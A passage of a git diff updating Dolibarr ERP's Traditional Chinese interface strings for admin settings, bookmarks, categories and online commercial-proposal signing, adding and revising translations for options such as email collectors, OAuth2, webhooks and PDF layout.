+MiscellaneousOptions=其他選項 MiscellaneousDesc=在此定義所有其他與安全有關的參數。 LimitsSetup=限制/精準度設定 LimitsDesc=您可以在此處定義Dolibarr使用的限制,精度和優化 @@ -1294,6 +1311,8 @@ YouMustRunCommandFromCommandLineAfterLoginToUser=用戶%s在登入終端 YourPHPDoesNotHaveSSLSupport=您的PHP中無法使用SSL功能 DownloadMoreSkins=更多佈景主題下載 SimpleNumRefModelDesc=回傳格式為 %syymm-nnnn 的參考編號,其中 yy 是年份,mm 是月份,nnnn 是自動遞增的連續數字,無法重置 +SimpleRefNumRefModelDesc=以格式 n 回傳參考編號,其中 n 是一個連續沒有重複的自動遞增數字 +AdvancedNumRefModelDesc=回傳格式為 %syymm-nnnn 的參考編號,其中 yy 是年份,mm 是月份,nnnn 是自動遞增的連續數字,無法重置 SimpleNumRefNoDateModelDesc=回傳格式為 %s-nnnn 的參考號,其中 nnnn 是自動遞增的連續數字,無法重置 ShowProfIdInAddress=顯示含有地址的專業 ID ShowVATIntaInAddress=隱藏歐盟內增值稅號 @@ -1380,7 +1399,7 @@ GetBarCode=取得條碼 NumberingModules=編號模型 DocumentModules=文件模型 ##### Module password generation -PasswordGenerationStandard=回傳根據 Dolibarr 內部算法產生的密碼:%s 個字元,包含數字和小寫字元。 +PasswordGenerationStandard=Return a password generated according to internal Dolibarr algorithm: %s characters containing shared numbers and characters. PasswordGenerationNone=不要產生建議密碼。密碼必須手動輸入。 PasswordGenerationPerso=根據您個人定義的偏好設定返回密碼。 SetupPerso=根據您的偏好設定 @@ -1434,6 +1453,10 @@ SuppliersPayment=供應商付款 SupplierPaymentSetup=供應商付款設定 InvoiceCheckPosteriorDate=在驗證前檢查製造日期 InvoiceCheckPosteriorDateHelp=如果發票日期早於最後一張同類型發票的日期,將禁止驗證發票。 +InvoiceOptionCategoryOfOperations=在發票上顯示“操作類別” +InvoiceOptionCategoryOfOperationsHelp=Depending on the situation, the mention will appear in the form:
      - Category of operations: Delivery of goods
      - Category of operations: Provision of services
      - Category of operations: Mixed - Delivery of goods & provision of services +InvoiceOptionCategoryOfOperationsYes1=是的,在地址區塊下方 +InvoiceOptionCategoryOfOperationsYes2=是的,在左下角 ##### Proposals ##### PropalSetup=商業提案/建議書模組設定 ProposalsNumberingModules=商業提案/建議書編號模型 @@ -1476,11 +1499,12 @@ WatermarkOnDraftContractCards=草稿合約浮水印(若空白則無) ##### Members ##### MembersSetup=會員模組設定 MemberMainOptions=主要選項 +MemberCodeChecker=自動產生會員代碼的選項 AdherentLoginRequired= 管理每位會員登入 AdherentMailRequired=建立新會員需要電子郵件 MemberSendInformationByMailByDefault=已勾選預設傳送電子郵件驗證成員(驗證或新訂閲) MemberCreateAnExternalUserForSubscriptionValidated=為每個經過驗證的新會員訂閱建立一個外部用戶帳號 -VisitorCanChooseItsPaymentMode=訪客可以選擇可用的付款方式 +VisitorCanChooseItsPaymentMode=訪客可以選擇任何可用的付款方式 MEMBER_REMINDER_EMAIL=以電子郵件啟動自動提醒過期的訂閱。注意:必須啟用模組%s並正確設定才能發送提醒。 MembersDocModules=從會員記錄產生文件的文件模板 ##### LDAP setup ##### @@ -1742,8 +1766,8 @@ ActivateFCKeditor=啟用進階編輯器: FCKeditorForNotePublic=所見即所得編輯器建立/編輯元件欄位的“公開備註” FCKeditorForNotePrivate=所見即所得編輯器建立/編輯元件欄位的“不公開備註” FCKeditorForCompany=所見即所得編輯器建立/編輯元件欄位描述(產品/服務除外) -FCKeditorForProduct=所見即所得建立/編輯產品/服務的欄位描述 -FCKeditorForProductDetails=所見即所得為所有項目(提案/建議書,訂單,發票等)建立/編輯產品明細行。 警告:在這種情況下,強烈建議不要使用此選項,因為在產生PDF文件時,它會產生特殊字元和頁面格式的問題。 +FCKeditorForProductDetails=WYSIWIG creation/edition of products description or lines for objects (lines of proposals, orders, invoices, etc...). +FCKeditorForProductDetails2=Warning: Using this option for this case is seriously not recommended as it can create problems with special characters and page formatting when building PDF files. FCKeditorForMailing= 以所見即所得建立/編輯電子郵件 ( 工具 --> 電子郵件 ) FCKeditorForUserSignature=以所見即所得建立/編輯用戶簽名檔 FCKeditorForMail=以所見即所得建立/編輯全部電子郵件( 除了工具 --> 電子郵件) @@ -1766,7 +1790,7 @@ DetailMenuHandler=顯示新的選單的選單處理程式 DetailMenuModule=若選單項目來自一個模組則為模組名稱 DetailType=選單類型(在頂部或左側) DetailTitre=翻譯的選單標籤或標籤代碼 -DetailUrl=傳送選單上的網址給您(以 http:// 的絶對網址連線或外部連線) +DetailUrl=選單傳送給您的網址(以 https:// 的相關網址連結或外部連結) DetailEnabled=條件顯示或不進入 DetailRight=顯示未經授權的灰色菜單條件 DetailLangs=標籤代碼轉換的語言檔案名稱 @@ -1810,6 +1834,9 @@ AGENDA_USE_EVENT_TYPE=使用事件類型(在選單設定->分類->應辦事項 AGENDA_USE_EVENT_TYPE_DEFAULT=在事件建立表單中自動為事件類型設定此預設值 AGENDA_DEFAULT_FILTER_TYPE=在應辦事項視圖的搜索過濾器中自動設定此類事件 AGENDA_DEFAULT_FILTER_STATUS=在應辦事項視圖的搜索過濾器中自動為事件設定此狀態 +AGENDA_EVENT_PAST_COLOR=過去事件顏色 +AGENDA_EVENT_CURRENT_COLOR=目前事件顏色 +AGENDA_EVENT_FUTURE_COLOR=未來事件顏色 AGENDA_DEFAULT_VIEW=當選擇應辦事項選單時預設要打開的分頁 AGENDA_REMINDER_BROWSER=在用戶的瀏覽器上啟用事件提醒(到達事件日期時,瀏覽器會跳出提醒視窗.每個用戶都可以從瀏覽器提醒設定中停用此提醒) AGENDA_REMINDER_BROWSER_SOUND=啟用音效警告 @@ -1837,7 +1864,7 @@ StockDecreaseForPointOfSaleDisabledbyBatch=POS中的庫存減少與序列/批次 CashDeskYouDidNotDisableStockDecease=從銷售點進行銷售時,您沒有停用庫存減少。因此,需要一個倉庫。 CashDeskForceDecreaseStockLabel=批次產品的庫存強制減少。 CashDeskForceDecreaseStockDesc=首先減少最早的Eatby和Sellby日期。 -CashDeskReaderKeyCodeForEnter=在條碼掃描器中定義的“ Enter”的鍵代碼(範例:13) +CashDeskReaderKeyCodeForEnter=在條碼掃描器中輸入 ASCII 代碼定義“Enter”鍵 (例如:13) ##### Bookmark ##### BookmarkSetup=書籤模組設定 BookmarkDesc=此模組允許您管理書籤。您也可以在左側選單上為任何Dolibarr頁面或外部網站增加捷徑。 @@ -1875,7 +1902,7 @@ SuppliersInvoiceNumberingModel=供應商發票編號模型 IfSetToYesDontForgetPermission=如果設定為非null值,請不要忘記為允許第二次批准的群組或用戶提供權限 ##### GeoIPMaxmind ##### GeoIPMaxmindSetup=GeoIP Maxmind 模組設定 -PathToGeoIPMaxmindCountryDataFile=包含Maxmind ip到國家/地區轉換檔案的路徑。
      範例:
      /usr/local/share/GeoIP/GeoIP.dat
      /usr/share/GeoIP/GeoIP.dat
      /usr/share/GeoIP/GeoLite2-Country.mmdb +PathToGeoIPMaxmindCountryDataFile=包含Maxmind ip到國家/地區轉換檔案的路徑 NoteOnPathLocation=請注意您的 IP 到國家資料檔案必須在您 PHP 資料夾中且可以讀取(檢查您 PHP 中 open_basedir 設定和檔案系統權限)。 YouCanDownloadFreeDatFileTo=您可以從%s下載Maxmind GeoIP國家/地區檔案的免費展示版本 。 YouCanDownloadAdvancedDatFileTo=您也可以在%s的 Maxmind GeoIP國家檔案下載更完整更新版本 @@ -1926,6 +1953,7 @@ BackupDumpWizard=建立資料庫轉存檔案的小精靈 BackupZipWizard=建立文件資料夾壓縮檔的小精靈 SomethingMakeInstallFromWebNotPossible=由於以下原因,無法從 Web 界面安裝外部模組: SomethingMakeInstallFromWebNotPossible2=因此,此處描述的升級過程是只有特權用戶才能執行的手動過程。 +InstallModuleFromWebHasBeenDisabledContactUs=Install or development of external modules or dynamic websites, from the application, is currently locked for security purpose. Please contact us if you need to enable this feature. InstallModuleFromWebHasBeenDisabledByFile=您的管理員已禁止從應用程式安裝外部模組。您必須要求他刪除檔案%s才能使用此功能。 ConfFileMustContainCustom=從應用程式安裝或建構外部模組需要將模組檔案保存到資料夾%s中 。要使此資料夾由Dolibarr處理,必須設定新增以下2條指令行到conf / conf.php
      $ dolibarr_main_url_root_alt ='/ custom';
      $ dolibarr_main_document_root_alt ='%s / custom'; HighlightLinesOnMouseHover=滑鼠經過時會顯示表格行 @@ -1940,7 +1968,7 @@ PressF5AfterChangingThis=更改此值使其生效後,按鍵盤上的CTRL + F5 NotSupportedByAllThemes=將適用於核心主題,可能不受外部主題支援 BackgroundColor=背景顏色 TopMenuBackgroundColor=頂端選單的背景顏色 -TopMenuDisableImages=Icon or Text in Top menu +TopMenuDisableImages=頂端選單中的圖示或文字 LeftMenuBackgroundColor=左側選單的背景顏色 BackgroundTableTitleColor=表格標題行的背景顏色 BackgroundTableTitleTextColor=表格標題行的文字顏色 @@ -2035,7 +2063,7 @@ MAIN_PDF_MARGIN_RIGHT=PDF右邊邊距 MAIN_PDF_MARGIN_TOP=PDF頂部邊距 MAIN_PDF_MARGIN_BOTTOM=PDF底部邊距 MAIN_DOCUMENTS_LOGO_HEIGHT=PDF上Logo的高度 -DOC_SHOW_FIRST_SALES_REP=Show first sales representative +DOC_SHOW_FIRST_SALES_REP=顯示第一位業務代表 MAIN_GENERATE_PROPOSALS_WITH_PICTURE=在提案/建議書行加入圖片欄位 MAIN_DOCUMENTS_WITH_PICTURE_WIDTH=欄位寬度-如果在行上加入圖片 MAIN_PDF_NO_SENDER_FRAME=隱藏寄件人地址框的邊框 @@ -2053,8 +2081,10 @@ RemoveSpecialChars=刪除特殊字元 COMPANY_AQUARIUM_CLEAN_REGEX=用正則表達式篩選器清除值(COMPANY_AQUARIUM_CLEAN_REGEX) COMPANY_DIGITARIA_CLEAN_REGEX=用正則表達式篩選器清除值(COMPANY_DIGITARIA_CLEAN_REGEX) COMPANY_DIGITARIA_UNIQUE_CODE=不允許重複 +RemoveSpecialWords=為客戶或供應商產生子帳戶時清除特定文字 +RemoveSpecialWordsHelp=在計算客戶或供應商帳戶之前指定要清除的文字。在每個字之間使用”;” GDPRContact=資料保護官(DPO,資料隱私或GDPR聯絡人) -GDPRContactDesc=If you store personal data in your Information System, you can name the contact who is responsible for the General Data Protection Regulation here +GDPRContactDesc=如果您儲存個人資料於您的資訊系統,則可以在此處指定負責《通用數據保護條例》的聯絡人 HelpOnTooltip=工具提示上的幫助文字 HelpOnTooltipDesc=在這裡放入文字或是翻譯鍵以便此欄位顯示在表單時可以顯示在工具提示 YouCanDeleteFileOnServerWith=您可以使用下列命令行在伺服器上刪除此文件:
      %s @@ -2065,21 +2095,22 @@ VATIsUsedIsOff=注意:在選單%s-%s中,使用營業稅或增值稅的選項 SwapSenderAndRecipientOnPDF=交換PDF文件上的發件人和收件人地址位置 FeatureSupportedOnTextFieldsOnly=警告,僅文字欄位與複合清單支援此功能。另外,必須設定網址參數action = create或action = edit到OR頁面,名稱必須為'new.php' 才能觸發此功能。 EmailCollector=電子郵件收集器 -EmailCollectors=Email collectors +EmailCollectors=電子郵件收集器 EmailCollectorDescription=新增計劃作業和設定頁面以定期掃描信箱(使用IMAP協議),並在正確的位置記錄接收到您應用程式中的電子郵件和/或自動建立一些記錄(例如潛在)。 NewEmailCollector=新電子郵件收集器 EMailHost=IMAP伺服器主機 -EMailHostPort=Port of email IMAP server -loginPassword=Login/Password -oauthToken=Oauth2 token -accessType=Acces type -oauthService=Oauth service -TokenMustHaveBeenCreated=Module OAuth2 must be enabled and an oauth2 token must have been created with the correct permissions (for example scope "gmail_full" with OAuth for Gmail). +EMailHostPort=電子郵件IMAP伺服器的連接埠 +loginPassword=登入/密碼 +oauthToken=Oauth2許可證 +accessType=登入類型 +oauthService=認證服務 +TokenMustHaveBeenCreated=必須啟用OAuth2模組,並且必須有已建立正確權限之oauth2許可證(例如Gmail 的 OAuth之"gmail_full”範圍)。 MailboxSourceDirectory=信箱來源資料夾 MailboxTargetDirectory=信箱目標資料夾 EmailcollectorOperations=收集器要做的操作 EmailcollectorOperationsDesc=全部訂單的操作已執行 MaxEmailCollectPerCollect=每次收集電子郵件的最大數量 +TestCollectNow=收集測試 CollectNow=立刻收集 ConfirmCloneEmailCollector=您確定要複製電子郵件收集器%s嗎? DateLastCollectResult=最新嘗試收集日期 @@ -2090,7 +2121,7 @@ EmailCollectorHideMailHeadersHelp=When enabled, e-mail headers are not added at EmailCollectorConfirmCollectTitle=郵件收集確認 EmailCollectorConfirmCollect=您是否要立即執行此收集器? EmailCollectorExampleToCollectTicketRequestsDesc=Collect emails that match some rules and create automatically a ticket (Module Ticket must be enabled) with the email informations. You can use this collector if you provide some support by email, so your ticket request will be automatically generated. Activate also Collect_Responses to collect answers of your client directly on the ticket view (you must reply from Dolibarr). -EmailCollectorExampleToCollectTicketRequests=Example collecting the ticket request (first message only) +EmailCollectorExampleToCollectTicketRequests=收集服務單需求的範例(僅第一條訊息) EmailCollectorExampleToCollectAnswersFromExternalEmailSoftwareDesc=Scan your mailbox "Sent" directory to find emails that was sent as an answer of another email directly from your email software and not from Dolibarr. If such an email is found, the event of answer is recorded into Dolibarr EmailCollectorExampleToCollectAnswersFromExternalEmailSoftware=收集從外部電子郵件軟體發送的電子郵件回應的範例 EmailCollectorExampleToCollectDolibarrAnswersDesc=Collect all emails that are an answer of an email sent from your application. An event (Module Agenda must be enabled) with the email response will be recorded at the good place. For example, if you send a commercial proposal, order, invoice or message for a ticket by email from the application, and the recipient answers your email, the system will automatically catch the answer and add it into your ERP. @@ -2098,7 +2129,7 @@ EmailCollectorExampleToCollectDolibarrAnswers=收集所有傳入訊息的範例 EmailCollectorExampleToCollectLeadsDesc=Collect emails that match some rules and create automatically a lead (Module Project must be enabled) with the email informations. You can use this collector if you want to follow your lead using the module Project (1 lead = 1 project), so your leads will be automatically generated. If the collector Collect_Responses is also enabled, when you send an email from your leads, proposals or any other object, you may also see answers of your customers or partners directly on the application.
      Note: With this initial example, the title of the lead is generated including the email. If the thirdparty can't be found in database (new customer), the lead will be attached to the thirdparty with ID 1. EmailCollectorExampleToCollectLeads=收集潛在的範例 EmailCollectorExampleToCollectJobCandidaturesDesc=Collect emails applying to job offers (Module Recruitment must be enabled). You can complete this collector if you want to automatically create a candidature for a job request. Note: With this initial example, the title of the candidature is generated including the email. -EmailCollectorExampleToCollectJobCandidatures=Example collecting job candidatures received by e-mail +EmailCollectorExampleToCollectJobCandidatures=使用電子郵件收集職位候選人的範例 NoNewEmailToProcess=沒有新的電子郵件(與篩選匹配)要處理 NothingProcessed=什麼都沒做 XEmailsDoneYActionsDone=%s emails pre-qualified, %s emails successfully processed (for %s record/actions done) @@ -2109,6 +2140,7 @@ CodeLastResult=最新結果代碼 NbOfEmailsInInbox=來源資料夾中的電子郵件數量 LoadThirdPartyFromName=在%s載入合作方搜尋 (僅載入) LoadThirdPartyFromNameOrCreate= 在%s載入合作方搜尋 (如果找不到就建立) +LoadContactFromEmailOrCreate=Load contact searching on %s (create if not found) AttachJoinedDocumentsToObject=如果在電子郵件主題中找到項目的引用,則將附件保存到項目文件中。 WithDolTrackingID=來自Dolibarr寄送的第一封電子郵件發起的對話訊息 WithoutDolTrackingID=來自第一封電子郵件發起的對話的訊息不是從 Dolibarr 發送的 @@ -2180,9 +2212,10 @@ EmailTemplate=電子郵件模板 EMailsWillHaveMessageID=電子郵件將具有與此語法匹配的標籤“參考” PDF_SHOW_PROJECT=在文件中顯示專案 ShowProjectLabel=專案標籤 -PDF_INCLUDE_ALIAS_IN_THIRDPARTY_NAME=Include alias in thirdparty name -THIRDPARTY_ALIAS=Name thirdparty - Alias thirdparty -ALIAS_THIRDPARTY=Alias thirdparty - Name thirdparty +PDF_INCLUDE_ALIAS_IN_THIRDPARTY_NAME=在合作方名稱中包含別名 +THIRDPARTY_ALIAS=合作方名稱 - 合作方別名 +ALIAS_THIRDPARTY=合作方別名 - 合作方名稱 +PDFIn2Languages=於PDF的標籤顯示兩種不同的語言 PDF_USE_ALSO_LANGUAGE_CODE=如果您要在生成同一的PDF中以兩種不同的語言複製一些文字,則必須在此處設置第二種語言讓生成的PDF在同一頁中包含兩種不同的語言,選擇的可以用來生成PDF跟另一種語言(只有少數PDF模板支援此功能)。PDF只有一種語言則留空。 PDF_USE_A=產生使用PDF/A格式的PDF文件而不是預設格式的PDF FafaIconSocialNetworksDesc=在此處輸入FontAwesome圖示的代碼。如果您不知道什麼是FontAwesome,則可以使用通用值fa-address-book。 @@ -2211,12 +2244,12 @@ MailToPartnership=合夥 AGENDA_EVENT_DEFAULT_STATUS=從表單建立事件時預設的事件狀態 YouShouldDisablePHPFunctions=您應該停用 PHP 功能 IfCLINotRequiredYouShouldDisablePHPFunctions=除非您需要在自定義代碼中執行系統命令,否則您應該停用 PHP 功能 -PHPFunctionsRequiredForCLI=對於 shell 目的(如計劃備份工作或執行掃毒程式),您必須保留 PHP 功能 +PHPFunctionsRequiredForCLI=用於指令目的(如計劃的備份作業或執行防毒軟體),您必須保留 PHP 功能 NoWritableFilesFoundIntoRootDir=在您的根目錄中找不到一般程式可寫入的檔案或目錄(好) RecommendedValueIs=建議:%s Recommended=推薦的 NotRecommended=不建議 -ARestrictedPath=一些受限路徑 +ARestrictedPath=資料檔案的一些限制路徑 CheckForModuleUpdate=檢查外部模組更新 CheckForModuleUpdateHelp=此操作將連接到外部模組的編輯器以檢查是否有新版本。 ModuleUpdateAvailable=有可用的更新 @@ -2224,7 +2257,7 @@ NoExternalModuleWithUpdate=未找到外部模組的更新 SwaggerDescriptionFile=Swagger API 描述檔案(例如用於 redoc) YouEnableDeprecatedWSAPIsUseRESTAPIsInstead=您啟用了已棄用的 WS API。您應該改用 REST API。 RandomlySelectedIfSeveral=有多張圖片時隨機選擇 -SalesRepresentativeInfo=For Proposals, Orders, Invoices. +SalesRepresentativeInfo=用於提案/建議書、訂單、發票。 DatabasePasswordObfuscated=資料庫密碼在conf檔案中為加密 DatabasePasswordNotObfuscated=資料庫密碼在conf檔案中不是加密 APIsAreNotEnabled=未啟用 API 模組 @@ -2233,7 +2266,7 @@ InstallAndUpgradeLockedBy=安裝與升級已被檔案%s鎖定 OldImplementation=舊執行 PDF_SHOW_LINK_TO_ONLINE_PAYMENT=如果有一些線上支付模組已啟用(Paypal, Stripe, ...),在PDF中加入一個線上支付的連結 DashboardDisableGlobal=停用所有開放項目縮圖 -BoxstatsDisableGlobal=停用停用盒子統計 +BoxstatsDisableGlobal=完全停用盒子統計 DashboardDisableBlocks=位於首頁中的開放項目縮圖(執行中或已延遲) DashboardDisableBlockAgenda=停用應辦事項縮圖 DashboardDisableBlockProject=停用專案縮圖 @@ -2264,46 +2297,82 @@ LateWarningAfter="延遲"警告時間 TemplateforBusinessCards=不同尺寸大小的名片模板 InventorySetup= 庫存設定 ExportUseLowMemoryMode=使用低記憶體模式 -ExportUseLowMemoryModeHelp=使用低記憶體模式執行另存的 exec(壓縮是通過管道完成的,而不是進入 PHP 記憶體)。此方法不允許檢查檔案是否已完成,如果失敗則無法報告錯誤訊息。 +ExportUseLowMemoryModeHelp=Use the low memory mode to generate the dump file (compression is done through a pipe instead of into the PHP memory). This method does not allow to check that the file is complete and error message can't be reported if it fails. Use it if you experience not enough memory errors. ModuleWebhookName = Webhook -ModuleWebhookDesc = Interface to catch dolibarr triggers and send it to an URL -WebhookSetup = Webhook setup +ModuleWebhookDesc = Interface to catch dolibarr triggers and send data of the event to an URL +WebhookSetup = 設定 Webhook Settings = 設定 -WebhookSetupPage = Webhook setup page -ShowQuickAddLink=元件在右上角的選單中顯示一個快速增加小工具的按鈕 +WebhookSetupPage = Webhook 設定頁 +ShowQuickAddLink=在右上角的選單中顯示一個快速增加小工具的按鈕 HashForPing=用於 ping 的Hash ReadOnlyMode=實例是否處於“唯讀”模式 DEBUGBAR_USE_LOG_FILE=使用 dolibarr.log 檔案收集日誌 UsingLogFileShowAllRecordOfSubrequestButIsSlower=Use the dolibarr.log file to trap Logs instead of live memory catching. It allows to catch all logs instead of only log of current process (so including the one of ajax subrequests pages) but will make your instance very very slow. Not recommended. FixedOrPercent=Fixed (use keyword 'fixed') or percent (use keyword 'percent') -DefaultOpportunityStatus=Default opportunity status (first status when lead is created) +DefaultOpportunityStatus=預設機會狀態(建立潛在客戶時的第一個狀態) -IconAndText=Icon and text -TextOnly=Text only -IconOnlyAllTextsOnHover=Icon only - All texts appears under icon on mouse hover menu bar -IconOnlyTextOnHover=Icon only - Text of icon appears under icon on mouse hover the icon -IconOnly=Icon only - Text on tooltip only -INVOICE_ADD_ZATCA_QR_CODE=Show the ZATCA QR code on invoices -INVOICE_ADD_ZATCA_QR_CODEMore=Some Arabic countries need this QR Code on their invoices -INVOICE_ADD_SWISS_QR_CODE=Show the swiss QR-Bill code on invoices +IconAndText=圖示與文字 +TextOnly=純文字 +IconOnlyAllTextsOnHover=圖示 - 當滑鼠停在選單列時所有文字顯示在圖示下方 +IconOnlyTextOnHover=圖示 - 滑鼠停在圖示時,圖示文字顯示在圖示下方 +IconOnly=圖示 - 文字在工具提示上 +INVOICE_ADD_ZATCA_QR_CODE=在發票上顯示 ZATCA QR Code +INVOICE_ADD_ZATCA_QR_CODEMore=一些阿拉伯國家的發票需要這個QR Code +INVOICE_ADD_SWISS_QR_CODE=在發票上顯示瑞士QR Code +INVOICE_SHOW_SHIPPING_ADDRESS=顯示送貨地址 +INVOICE_SHOW_SHIPPING_ADDRESSMore=強制提及法國 UrlSocialNetworksDesc=Url link of social network. Use {socialid} for the variable part that contains the social network ID. -IfThisCategoryIsChildOfAnother=If this category is a child of another one -DarkThemeMode=Dark theme mode -AlwaysDisabled=Always disabled -AccordingToBrowser=According to browser -AlwaysEnabled=Always Enabled -DoesNotWorkWithAllThemes=Will not work with all themes -NoName=No name -ShowAdvancedOptions= Show advanced options -HideAdvancedoptions= Hide advanced options +IfThisCategoryIsChildOfAnother=如果此類別是另一個類別的子類別 +DarkThemeMode=深色主題模式 +AlwaysDisabled=總是停用 +AccordingToBrowser=根據瀏覽器 +AlwaysEnabled=總是啟用 +DoesNotWorkWithAllThemes=不適用於所有主題 +NoName=沒有名稱 +ShowAdvancedOptions= 顯示進階選項 +HideAdvancedoptions= 隱藏進階選項 CIDLookupURL=The module brings an URL that can be used by an external tool to get the name of a thirdparty or contact from its phone number. URL to use is: OauthNotAvailableForAllAndHadToBeCreatedBefore=OAUTH2 authentication is not available for all hosts, and a token with the right permissions must have been created upstream with the OAUTH module -MAIN_MAIL_SMTPS_OAUTH_SERVICE=OAUTH2 authentication service +MAIN_MAIL_SMTPS_OAUTH_SERVICE=OAUTH2認證服務 DontForgetCreateTokenOauthMod=A token with the right permissions must have been created upstream with the OAUTH module -MAIN_MAIL_SMTPS_AUTH_TYPE=Authentification method -UsePassword=Use a password -UseOauth=Use a OAUTH token -Images=Images +MAIN_MAIL_SMTPS_AUTH_TYPE=認證方式 +UsePassword=使用密碼 +UseOauth=使用 OAUTH許可證 +Images=圖片 MaxNumberOfImagesInGetPost=Max number of images allowed in a HTML field submitted in a form +MaxNumberOfPostOnPublicPagesByIP=Max number of posts on public pages with the same IP address in a month +CIDLookupURL=The module brings an URL that can be used by an external tool to get the name of a thirdparty or contact from its phone number. URL to use is: +ScriptIsEmpty=腳本是空的 +ShowHideTheNRequests=顯示/隱藏 %s 的SQL 請求 +DefinedAPathForAntivirusCommandIntoSetup=定義防毒軟體的路徑為 %s +TriggerCodes=可觸發事件 +TriggerCodeInfo=Enter here the trigger code(s) that must generate a post of a web request (only external URL are allowed). You can enter several trigger codes separated by a comma. +EditableWhenDraftOnly=If unchecked, the value can only be modified when object has a draft status +CssOnEdit=編輯頁面上的CSS +CssOnView=檢視頁面上的 CSS +CssOnList=清單頁面上的 CSS +HelpCssOnEditDesc=編輯欄位時的CSS
      範例: "minwiwdth100 maxwidth500 widthcentpercentminusx" +HelpCssOnViewDesc=檢視欄位時的CSS +HelpCssOnListDesc=The Css used when field is inside a list table.
      Example: "tdoverflowmax200" +RECEPTION_PDF_HIDE_ORDERED=Hide the quantity ordered on the generated documents for receptions +MAIN_PDF_RECEPTION_DISPLAY_AMOUNT_HT=Show the price on the generated documents for receptions +WarningDisabled=停用警告 +LimitsAndMitigation=訪問限制和延遲 +DesktopsOnly=僅限桌上型電腦 +DesktopsAndSmartphones=桌上型電腦和智能手機 +AllowOnlineSign=允許線上簽署 +AllowExternalDownload=允許外部下載(無需登入,使用共享連結) +DeadlineDayVATSubmission=Deadline day for vat submission on the next month +MaxNumberOfAttachementOnForms=表單中最大合併文件數 +IfDefinedUseAValueBeetween=如果已定義,則使用 %s 和 %s 之間的值 +Reload=重新讀取 +ConfirmReload=確認模組重新讀取 +WarningModuleHasChangedLastVersionCheckParameter=Warning: the module %s has set a parameter to check its version at each page access. This is a bad and not allowed practice that may make the page to administer modules instable. Please contact author of module to fix this. +WarningModuleHasChangedSecurityCsrfParameter=Warning: the module %s has disabled the CSRF security of your instance. This action is suspect and your installation may no more be secured. Please contact the author of the module for explanation. +EMailsInGoingDesc=Incoming emails are managed by the module %s. You must enable and configure it if you need to support ingoing emails. +MAIN_IMAP_USE_PHPIMAP=Use the PHP-IMAP library for IMAP instead of native PHP IMAP. This also allows the use of an OAuth2 connection for IMAP (module OAuth must also be activated). +MAIN_CHECKBOX_LEFT_COLUMN=Show the column for field and line selection on the left (on the right by default) + +CSSPage=CSS Style diff --git a/htdocs/langs/zh_TW/bookmarks.lang b/htdocs/langs/zh_TW/bookmarks.lang index e71a491f000..81fdebd3c11 100644 --- a/htdocs/langs/zh_TW/bookmarks.lang +++ b/htdocs/langs/zh_TW/bookmarks.lang @@ -2,7 +2,7 @@ AddThisPageToBookmarks=新增目前頁面到書籤 Bookmark=書籤 Bookmarks=書籤 -ListOfBookmarks=書簽清單 +ListOfBookmarks=書籤清單 EditBookmarks=列出/編輯書籤 NewBookmark=新書籤 ShowBookmark=顯示書籤 @@ -20,3 +20,4 @@ ChooseIfANewWindowMustBeOpenedOnClickOnBookmark=選擇已連結頁面開啟在 BookmarksManagement=書籤管理 BookmarksMenuShortCut=Ctrl + shift + m NoBookmarks=未定義書籤 +NoBookmarkFound=找不到書籤 diff --git a/htdocs/langs/zh_TW/categories.lang b/htdocs/langs/zh_TW/categories.lang index 67591a7d720..701719d2dc6 100644 --- a/htdocs/langs/zh_TW/categories.lang +++ b/htdocs/langs/zh_TW/categories.lang @@ -42,6 +42,7 @@ MemberHasNoCategory=此會員不在任何標籤/類別中 ContactHasNoCategory=此聯絡人不在任何標籤/類別中 ProjectHasNoCategory=此專案不在任何標籤/類別中 ClassifyInCategory=增加到標籤/類別 +RemoveCategory=Remove category NotCategorized=沒有標籤/類別 CategoryExistsAtSameLevel=此類別已存在此參考 ContentsVisibleByAllShort=所有內容可見 @@ -67,6 +68,7 @@ StockCategoriesShort=倉庫標籤/類別 ThisCategoryHasNoItems=此類別內沒有任何項目。 CategId=標籤/類別編號 ParentCategory=母標籤/分類 +ParentCategoryID=ID of parent tag/category ParentCategoryLabel=母標籤/分類的標籤 CatSupList=供應商標籤/分類清單 CatCusList=客戶/潛在客戶標籤/分類清單 @@ -86,7 +88,7 @@ DeleteFromCat=從標籤/類別中刪除 ExtraFieldsCategories=補充屬性 CategoriesSetup=標籤/類別設定 CategorieRecursiv=自動連結到母標籤/母類別 -CategorieRecursivHelp=如果啟用此選項,當將產品增加到子類別時,產品也會增加到母類別中。 +CategorieRecursivHelp=If option is on, when you add an object into a subcategory, the object will also be added into the parent categories. AddProductServiceIntoCategory=新增以下產品/服務 AddCustomerIntoCategory=分配類別給客戶 AddSupplierIntoCategory=分配類別給供應商 @@ -95,7 +97,9 @@ ShowCategory=顯示標籤/類別 ByDefaultInList=預設在清單中 ChooseCategory=選擇類別 StocksCategoriesArea=倉庫分類 +TicketsCategoriesArea=Tickets Categories ActionCommCategoriesArea=事件分類 WebsitePagesCategoriesArea=頁面容器類別 KnowledgemanagementsCategoriesArea=知識文章分類 UseOrOperatorForCategories=分類使用 'OR' 運算符號 +AddObjectIntoCategory=Add object into category diff --git a/htdocs/langs/zh_TW/commercial.lang b/htdocs/langs/zh_TW/commercial.lang index 1223c7b67b5..7ef017fe469 100644 --- a/htdocs/langs/zh_TW/commercial.lang +++ b/htdocs/langs/zh_TW/commercial.lang @@ -74,8 +74,16 @@ StatusProsp=潛在方狀態 DraftPropals=商業提案/建議書草稿 NoLimit=無限制 ToOfferALinkForOnlineSignature=線上簽名連結 -WelcomeOnOnlineSignaturePage=歡迎來到%s的商業計劃書/提案 -ThisScreenAllowsYouToSignDocFrom=此畫面可允許您接受並簽署或者是拒絕報價/商業提案/建議書 -ThisIsInformationOnDocumentToSign=此為文件資訊 +WelcomeOnOnlineSignaturePageProposal=歡迎來到%s的商業計劃書/提案 +WelcomeOnOnlineSignaturePageContract=歡迎來到 %s 合約的PDF 簽署頁面 +WelcomeOnOnlineSignaturePageFichinter=歡迎來到 %s 干預 的PDF 簽署頁面 +ThisScreenAllowsYouToSignDocFromProposal=此畫面可允許您接受並簽署或者是拒絕報價/商業提案/建議書 +ThisScreenAllowsYouToSignDocFromContract=此畫面允許您於線上簽署 PDF 格式的合約。 +ThisScreenAllowsYouToSignDocFromFichinter=此畫面允許您於線上簽署 PDF 格式的干預。 +ThisIsInformationOnDocumentToSignProposal=此為文件資訊 +ThisIsInformationOnDocumentToSignContract=這是關於簽署合約的訊息 +ThisIsInformationOnDocumentToSignFichinter=這是關於簽署干預的訊息 SignatureProposalRef=報價單/商業提案/建議書的簽名%s +SignatureContractRef=合約%s的簽名 +SignatureFichinterRef=干預 %s的簽名 FeatureOnlineSignDisabled=已停用線上簽名功能或在啟用該功能之前已產生文件 diff --git 